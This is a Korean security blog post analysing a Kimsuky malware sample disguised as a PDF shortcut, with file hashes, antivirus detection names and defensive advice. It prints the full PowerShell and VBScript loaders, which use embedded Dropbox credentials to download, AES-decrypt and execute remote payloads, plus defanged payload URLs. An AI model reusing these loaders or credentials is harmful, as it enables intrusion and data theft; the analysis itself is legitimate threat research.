꿈을꾸는 파랑새

오늘은 북한 해킹 단체 김수키(Kimsuky) 에서 만든 악성코드인 트레이딩 스파르타코스 강의안-100불남(2차)pdf(2024.1.22) 에 대해 글을 적어 보겠습니다.
일단 해당 악성코드는 lnk 파일로 바로 가기 형태를 띠는데, 피해자에게는 pdf 파일로 위장하기 위하여서 .pdf.lnk 형태의 확장자를 사용하는 것이 특징이며 당연히 해당 Cerbero Suite Advanced 등의 도구로 까보면 역시나 Powershell 로 동작을 하게 되어져 있습니다.
먼저 해당 악성코드 해쉬값은 다음과 같습니다.
파일명:트레이딩 스파르타코스 강의안-100불남(2차).pdf.lnk
사이즈:1.05 MB
MD5:fcdcc6c56ae43f7a78413cc5204e9314
SHA-1:d2fca321091b4914b2ab813b4b1b83b3fa90d985
SHA-256:befa4094eb7ceb31be76ec98b11353b296b57476fe1b69db916e02bc8efce7d7
일단 Powershell 코드는 다음과 같습니다.

c powershell -windowstyle hidden -nop -NoProfile -No(n)Interactive 
-c "$tmp = '%temp%';Function AESDecr(y)pt { param ( [Byte[]]$b(y)tes,
[String]$pass=\"pa55w0rd\") $InputStream = New-Object Syst(e)m.IO.MemoryStream
(,$byt(e)s);$OutputStream = New-Object System.IO.MemoryStream;$Salt =
Ne(w)-Object Byte[](32);$BytesRead = $InputStream.Read($Salt, 0,
$Salt.Le(n)gth);if ( $BytesRead -ne $Salt.Length ) { exit;} $PBKDF2
= New-Object System.Security.Cr(y)ptography.Rfc2898DeriveBytes($pass, $Salt)
;$AESKey = $PBKDF2.GetBytes(32);$AES(I)V = $PBKDF2.GetBytes(16);$AES =
New-Object Security.Cryptography.A(e)sManaged;$Dec = $AES.C(r)eateDecryptor($AESKey, $AESIV)
;$CryptoStream = Ne(w)-Object System.Security.Cryptography(.)CryptoStream($InputStream,
$Dec, [System.Security.Cryptography.C(r)yptoStreamMode]::Read);$CryptoStream.CopyTo
($OutputStream);$OutputStream.Dispose();retu(r)n $OutputS(t)ream.ToArray();}
$len1 1055490;$l(e)n2 =    1104130;$len3 =    1104130;$(l)en4 = 0x0010D99E;
$clientID = \"6nyl8w1u3w4k2lz\";$clientSecret = \"ikan154e(e)87osqq\";$refreshToken
= \"h_QLZB8VqqoAAAAAAAAAASvKa1MT2U3VD-iDx_3_C_QVY1(e)Pp0C5Ka4FUa33Eux1\";$body
= @{grant_type=\"refresh_token\";refresh_t(o)ken=$refreshToken;client_id=$clientID
;client_secret=$clientSecret};$tokenEndpoint
= \"https://api.dropboxapi(.)com/oauth2/token\";$response =
Invoke-R(e)stMethod -Uri $tokenEndpoint -Meth(o)d Post
-Body $body;if ($response.acces(s)_token) {$accessToken =
$response.access_token;}$downloadUrl = \"https://content.dropboxapi(.)com
/2/files/download\";$rem(o)teFilePath = \"/step1/ps(.)bin\";$request =
[System.Net.HttpWebRequest]::Create($downloadUrl);$req(u)est.Method =
\"POST\";$request.Headers.Add(\"Authorization\", \"Bearer $accessToken\")
;$request.H(e)aders.Add(\"Dropbox-API-Arg\", '{\"path\": \"' + $remoteFilePath + '\"}')
;$res(p)onse = $request.GetResponse();$receiveStream = $response.GetResponseStream()
;$pa(s)s = \"pa55w0rd\";if ($rece(i)veStream -ne $null) {$streamReader = New-Object
System.IO.StreamReader($receiveStre(a)m);$memoryStream = New-Object System.IO.MemoryStream
;$(b)uffer = New-Object byte[] 1024;$read = 0;do { $read = $receiveStream.(R)ead($buffer,
0, $buffer.Length);$memoryStream.Write($buffer, 0, $read);}
while ($read -(g)t 0);$enc_(b)ytes = $mem(o)ryStream.ToArray()
;$dec_bytes = AESDecrypt -bytes $(e)nc_bytes -pass $pass;$newString
= [System.Text.Encoding](:):UTF8.GetString($dec_bytes);iex $newString
;$memoryStream(.)Close();$streamReader.Close();};$receiveStream.Close()
;$response.Close();"
 iconlocation: .\1(.)pdf
}

악성코드 에 포함이 된 Powershell 코드
악성코드 에 포함이 된 Powershell 코드

악성코드 Powershell 코드 설명

해당 PowerShell 스크립트는 다음과 같은 과정을 거쳐 Dropbox API를 통해 암호화된 파일을 다운로드 하고 실행
1. AESDecrypt 함수 정의: 해당 함수는 AES 알고리즘을 사용하여 주어진 바이트 배열을 복호화합니다. 함수는 암호화된 데이터와 암호화에 사용된 키를 입력으로 받습니다. 주어진 키와 초기화 벡터를 사용하여 AES 암호화 객체를 생성하고 이를 사용하여 데이터를 복호화
2.Dropbox API 인증 정보 설정:클라이언트 ID, 클라이언트 Secret, 리프레시 토큰 등의 Dropbox API에 액세스하기 위한 인증 정보를 설정 해당 정보는 API에 액세스할 때 사용됩니다.
3.액세스 토큰 요청: 설정된 인증 정보를 사용하여 Dropbox API에 액세스 토큰을 요청 해당 토큰은 API에 대한 인증에 사용
4.파일 다운로드:액세스 토큰을 사용하여 Dropbox에서 파일을 다운로드
Invoke-RestMethod 함수를 사용하여 Dropbox API의 /2/files/download 엔드포인트를 호출하고, 액세스 토큰과 함께 파일 경로를 전달
5. 파일 복호화:다운로드한 파일의 내용을 이전에 정의한 AESDecrypt 함수를 사용하여 복호화 이때 사용되는 키는 미리 설정된 것입니다. 복호화된 데이터는 PowerShell 문자열로 변환
6.실행: 복호화된 PowerShell 스크립트가 iex` (Invoke-Expression) 함수를 사용하여 실행 PowerShell 스크립트를 실행하는 데 사용됩니다.
해당 스크립트는 Dropbox API를 사용하여 암호화된 파일을 다운로드하고 해당 파일을 복호화하여 PowerShell로 실행
사용하는 키는 pa55w0rd 입니다.

version103.vbs 에서는 다음과 같은 코드들이 있습니다.

version103.vbs 안에 포함된 명령어
version103.vbs 안에 포함된 명령어

Function GetValueFromJSON(jsonString, key)
    Set regex = New RegExp
    regex.Pattern = """" & key & """:\s*""([^""]*)"""
    regex.IgnoreCase = True
    regex.Global = False
    
    Set matches = regex.Execute(jsonString)
    If matches.Count > 0 Then
        GetValueFromJSON = matches(0).SubMatches(0)
    Else
        GetValueFromJSON = ""
    End If
End Function

Const client_id = "6nyl8w1u3w4(k)2lz"
Const client_secret = "ikan1(5)4ee87osqq"
Const refresh_token = "h_QLZB8Vqq(o)AAAAAAAAAASvKa1M(T)2U3VD-iDx_3_C_QVY1ePp0C5Ka4FUa33Eux1"
Const token_url = "https://api(.)dropboxapi(.)com/oauth2/token"
Set objHTTP = CreateObject("MSXML2(.0ServerXMLHTTP")
postBody = "grant_type=refresh_t(o)ken" &_
           "&refresh_token=" & refr(e)sh_token &_
           "&client_id=" & client_id (&)_
           "&client_secret=" & client_s(e)cret
objHTTP.Open "POST", tok(e)n_url, False
objHTTP.setRequestHeader "C(o)ntent-Type", "application/x-www-form-urlencoded"
objHTTP.send postBody
responseText = objHTTP(.)responseText
If objHTTP.Status = 200 Then
    ACCESS_TOKEN = GetVal(u)eFromJSON(responseText, "access_token")
End If
'download module
Const HTTP_METHOD = "POST"
Const DROPBOX_API_ENDPOINT = "https://content(.)dropboxapi(.)com/2/files/download"
'Const ACCESS_TOKEN = "sl.Bqs9oVewMRPp5pZMI(A)-mYZOA0cUnxr8F_D9XR
(t)0zHtD3IdIOw2e-AmAfQF-xQEAU2LIs-WgskNznhdZ5RDZ19ExQcR-rMu6eKLFHFEZKCBd0hX
-CyTiTbLLhcV-FBCWnQ-IWfDgYErYmpAk"
Const REMOTE_FILE_PATH = "/step1/info_sc(.)txt"
objHTTP.Open HTTP_METHOD, DROPBOX_API_ENDPO(I)NT, False
objHTTP.SetRequestHeader "Authorization", "Bea(r)er " & ACCESS_TOKEN
objHTTP.SetRequestHeader "Content-Type", "applica(t)ion/octet-stream"
objHTTP.SetRequestHeader "Dropbox-API-Arg", "{""pa(t)h"": """ & REMOTE_FILE_PATH & """}"

objHTTP.Send

If objHTTP.Status = 200 Then
    
   ' octet-stream 데이터를 바이너리로 읽어오기
    responseData = objHTTP.responseBody

    ' 바이너리 데이터를 문자열로 변환
    Dim inputStream
    Set inputStream = CreateObject("ADODB.Stream")
    inputStream.Open
    inputStream.Type = 1 ' adTypeBinary
    inputStream.Write responseData
    inputStream.Position = 0
    inputStream.Type = 2 ' adTypeText
    inputStream.Charset = "UTF-8" ' 문자 인코딩 설정 (필요한 경우 변경)
    
    ' 문자열로 변환
    Dim convertedString
    convertedString = inputStream.ReadText
    
    ' Stream 닫기
    inputStream.Close
    
    ' 변환된 문자열 출력
    'WScript.Echo convertedString
	Execute (convertedString)
Else
    WScript.Echo "Error:", objHTTP.Status, objHTTP.statusText
End If
Set objHTTP = Nothing

코드 설명

해당 VBScript는 Dropbox API를 사용하여 파일을 다운로드하고 해당 파일을 실행하는 작업을 수행
1. GetValueFromJSON 함수:해당 함수는 JSON 형식의 문자열에서 지정된 키의 값을 추출
정규식을 사용하여 주어진 키와 일치하는 값을 찾습니다.
2.인증 정보 및 API 요청: 상수로 정의된 클라이언트 ID, 클라이언트 Secret, 리프레시 토큰을 사용하여 Dropbox API에 액세스 토큰을 요청
이를 위해 MSXML2.ServerXMLHTTP 객체를 사용하고 POST 요청을 보냄
3. 파일 다운로드:Dropbox API의 /2/files/download 엔드포인트를 사용하여 파일을 다운로드
이때 Dropbox에 대한 인증이 필요하며 액세스 토큰이 요청 헤더에 포함
4. 바이너리 데이터 처리:내려받은 파일은 octet-stream 형식으로 수신되므로 responseBody를 통해 바이너리 데이터로 읽어오고 그 후, 이를 ADODB.Stream 객체를 사용하여 UTF-8로 인코딩된 문자열로 변환
5. 변환된 문자열 실행:변환된 문자열은 Execute 함수를 사용하여 실행
스크립트는 Dropbox API를 통해 파일을 다운로드하고 실행하는 작업을 수행하며, 파일의 실행 내용은 다운로드된 파일에 따라 달라집니다.

트레이딩_스파르타코스_강의안_100불남_2차.pdf 악성코드 가 생성한 PDF 파일
트레이딩_스파르타코스_강의안_100불남_2차.pdf 악성코드 가 생성한 PDF 파일


lnk 명령은 먼저 dropbox를 통해 2단계 페이로드 ps.bin을 다운로드하고 실행
lientx64.bin"의 원격 제어 구성 요소를 사용
ps.bin 페이로드는 후속 페이로드 r_enc.bin을 다운로드하고 실행을 위해 호출
Tutclient 원격 제어 구성 요소의 makeProbe1 메서드를 호출하여 수신되는 base64 데이터의 암호를 해독하고 이를 "%APPDATA%\\Microsoft\\Windows\\Templates\\version103.vbs"에 쓰고 작업 계획 "upDate_chrome"을 삭제합니다. vbs 파일을 실행
info_sc.txt 파일은 다음 사이트에서 미끼가 되는 파일을 다운로드 합니다.
hxxps://hyojadong(.)kr/js/slick/doc/1(.)pdf
트레이딩 스파르타코스 강의안-100불남(2차).pdf 파일이 실행됩니다.
다음 현재 운영 체제가 Windows 10 이상인지 확인하고 Windows 10 이상이 아닌 경우 Reserve 진행

페이로드 확보

hxxp://gbionet().com// inc/basl/up1/list(.)php? query=6

%appdata% \\Microsoft\\Windows\\Themes\w{second}{형식으로 파일에 저장}
시스템이 윈도우 10 이상이면 이후 로드 저장을 위해 먼저 여러 개의 ps 파일과 ini 파일을 생성
그런 다음 dropbox에서 후속 페이로드 info_ps.bin 을 다운로드
악성 페이로드를 실행하기 위한 작업 계획 보안 스크립트를 작성
다운로드한 후속 페이로드 info_ps.bin 은 powershell 스크립트로 주요 기능은 현재 시스템의 기본 정보, 일부 디렉터리 파일 정보 등을 수집
API를 통해 수집된 정보를 드롭박스 클라우드에 업로드
Tutclient 원격제어 컴포넌트의 특정 기능을 사용해 악성코드를 실행
DDoS
키로거
Password 탈취
데스크톱 화면 탈취
UAC 우회
아마도 가상화폐(암호 화폐) 관련 해서 해당 관련 이용자를 타켓으로 하는 것으로 판단되면 
2024-03-23 05:05:21 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Downloader/LNK.Powershell.S2543
ALYac:Trojan.Agent.LNK.Gen
Arcabit:Heur.BZC.YAX.Boxter.812.E9567CFA
Avast:LNK:Agent-HY [Trj]
AVG:LNK:Agent-HY [Trj]
BitDefender:Heur.BZC.YAX.Boxter.812.E9567CFA
Emsisoft:Trojan.PowerShell.Gen (A)
eScan:Heur.BZC.YAX.Boxter.812.E9567CFA
ESET-NOD32:A Variant Of Generik.FGYVWKO
Fortinet:LNK/Kimsuky.GOSU!tr
GData:Heur.BZC.YAX.Boxter.812.E9567CFA
Google:Detected
Ikarus:Trojan.SuspectCRC
Kaspersky:HEUR:Trojan.Multi.Powecod.i
Kingsoft:Script.Troj.BigLnk.22142
Lionic:Trojan.WinLNK.Boxter.4!c
MAX:Malware (ai Score=99)
McAfee:LNK/Agent.aj
QuickHeal:Lnk.trojan.A11490284
Rising:Trojan.PSRunner/LNK!1.DB7E (CLASSIC)
SentinelOne (Static ML):Static AI - Suspicious LNK
Skyhigh (SWG):BehavesLike.Dropper.tx
Sophos:Troj/LnkObf-T
Symantec:Scr.Mallnk!gen13
Tencent:Win32.Trojan.Powecod.Rsmw
Trellix (FireEye):Heur.BZC.YAX.Boxter.812.E9567CFA
Varist:PSH/Boxter.A
VBA32:Trojan.Link.Crafted
VIPRE:Heur.BZC.YAX.Boxter.812.E9567CFA
ViRobot:LNK.S.Downloader.1104286
ZoneAlarm by Check Point:HEUR:Trojan.Multi.Powecod.i
결론 백신 프로그램(안티 바이러스)프로그램은 반드시 설치를 해서 사용을 하시는 것 강력히 권장을 하며 최근에 분석한 업비트 관련 악성코드들을 보면 최근 가상화폐(암호 화폐)관련 해서 공격을 하고 있으니 항상 주의를 하시는 것을 추천합니다.
결론 북한은 개인정보 탈취 도하고 비트코인 들도 탈취하고 기술 탈취도 하고 있으며 그리고 사이트 운영하시는 분들은 사이트 관리 잘하셔서 자신의 사이트가 악성코드 유포되지 않도록 하는 것이 필요합니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band